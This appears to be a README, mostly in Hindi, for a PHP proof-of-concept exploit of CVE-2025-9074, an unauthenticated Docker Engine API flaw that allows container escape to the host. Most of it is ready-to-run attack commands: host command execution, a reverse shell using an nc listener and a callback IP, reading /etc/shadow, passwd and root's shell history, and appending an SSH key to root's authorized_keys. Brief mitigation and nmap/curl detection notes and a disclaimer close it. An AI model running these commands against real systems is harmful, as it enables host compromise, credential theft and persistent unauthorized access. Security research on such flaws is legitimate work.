
PHP poc, CVE-2025-9074 के लिए शोषण
गंभीरता: गंभीर | CVSS स्कोर: 9.8 (अनुमानित) | प्रभावित संस्करण: Docker Desktop < 4.44.3
CVE-2025-9074 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो डॉकर इंजन API में एक अनधिकृत रिमोट कोड निष्पादन (RCE) भेद्यता है जो विशेषाधिकार प्राप्त कंटेनर एस्केप और होस्ट सिस्टम से समझौता करने की अनुमति देता है।
CVE-2025-9074 डॉकर डेस्कटॉप में एक गंभीर भेद्यता है जो उचित प्रमाणीकरण या नेटवर्क अलगाव के बिना डॉकर इंजन API को उजागर करती है। यह दूरस्थ हमलावरों को अनुमति देता है:
भेद्यता प्रभावित करती है:
git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074
Docker होस्ट पर एक एकल कमांड निष्पादित करें:
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
एक इंटरैक्टिव रिवर्स शेल स्थापित करें:
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444
php poc.php -u <url> [options]
लक्ष्य पर एकल कमांड निष्पादित करें:
# Simple command
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"
# Read files from host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup
# With cleanup
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup
कॉलबैक के साथ एक इंटरैक्टिव शेल स्पॉन करें:
php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444
php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux
php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows
php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac
# Enumerate host system
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
# Extract sensitive files
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"
# Add SSH key
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"
# Enumerate running containers and networks
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"
0.0.0.0:2375 पर सुनता है/containers/create के माध्यम से विशेषाधिकार प्राप्त कंटेनर बनाता है:/mnt/hostfs:/mnt/hostfs/mnt/host/c:/mnt/hostfs/mnt/hostfs पथों तक सीधी पढ़ने/लिखने की पहुंच┌─────────────────────────────────────────────────────┐
│ poc.php (Your Machine) │
└────────────┬────────────────────────────────────────┘
│ HTTP REST API Call
▼
┌─────────────────────────────────────────────────────┐
│ Docker API (Target Port 2375) [UNAUTHENTICATED] │
└────────────┬────────────────────────────────────────┘
│ Creates Container
▼
┌─────────────────────────────────────────────────────┐
│ Privileged Alpine Container │
│ ├─ Full Root Access │
│ ├─ Bind Mount: /:/mnt/hostfs │
│ └─ Executes Attacker Command │
└────────────┬────────────────────────────────────────┘
│ Command Output
▼
┌─────────────────────────────────────────────────────┐
│ Output Returned to Attacker │
└─────────────────────────────────────────────────────┘
Docker Desktop अपग्रेड करें
# Update to version 4.44.3 or later
नेटवर्क अलगाव
TLS प्रमाणीकरण सक्षम करें
# Configure Docker daemon with TLS certificates
# In daemon.json:
{
"tlsverify": true,
"tlscacert": "/etc/docker/ca.pem",
"tlscert": "/etc/docker/server-cert.pem",
"tlskey": "/etc/docker/server-key.pem"
}
नेटवर्क विभाजन
/var/run/docker.sock) का उपयोग करें# Scan for exposed Docker APIs
nmap -p 2375,2376 -sV target_network
# Check if port responds to Docker API
curl -s http://target:2375/version
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है।
योगदान का स्वागत है! कृपया बेझिझक issues या pull requests सबमिट करें।
यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।
सुरक्षा शोधकर्ता | पेनिट्रेशन टेस्टर
अंतिम अद्यतन: मई 2025 | स्थिति: सक्रिय अनुसंधान
| Option | Short | Required | Description |
|---|
--url | -u | ✅ हाँ | Docker API URL (जैसे, http://1.2.3.4:2375) |
--mode | -m | ❌ नहीं | निष्पादन मोड: cmd या reverse (डिफ़ॉल्ट: cmd) |
--cmd | -c | ⚠️ cmd मोड के लिए | लक्ष्य पर निष्पादित करने का कमांड |
--lhost | -l | ⚠️ reverse मोड के लिए | कॉलबैक के लिए आपका IP पता |
--lport | -p | ❌ नहीं | आपका सुनने वाला पोर्ट (डिफ़ॉल्ट: 4444) |
--os | — | ❌ नहीं | लक्ष्य OS: linux, mac, windows (डिफ़ॉल्ट: linux) |
--cleanup | — | ❌ नहीं | निष्पादन के बाद कंटेनर हटाएं |
--help | -h | ❌ नहीं | सहायता संदेश प्रदर्शित करें |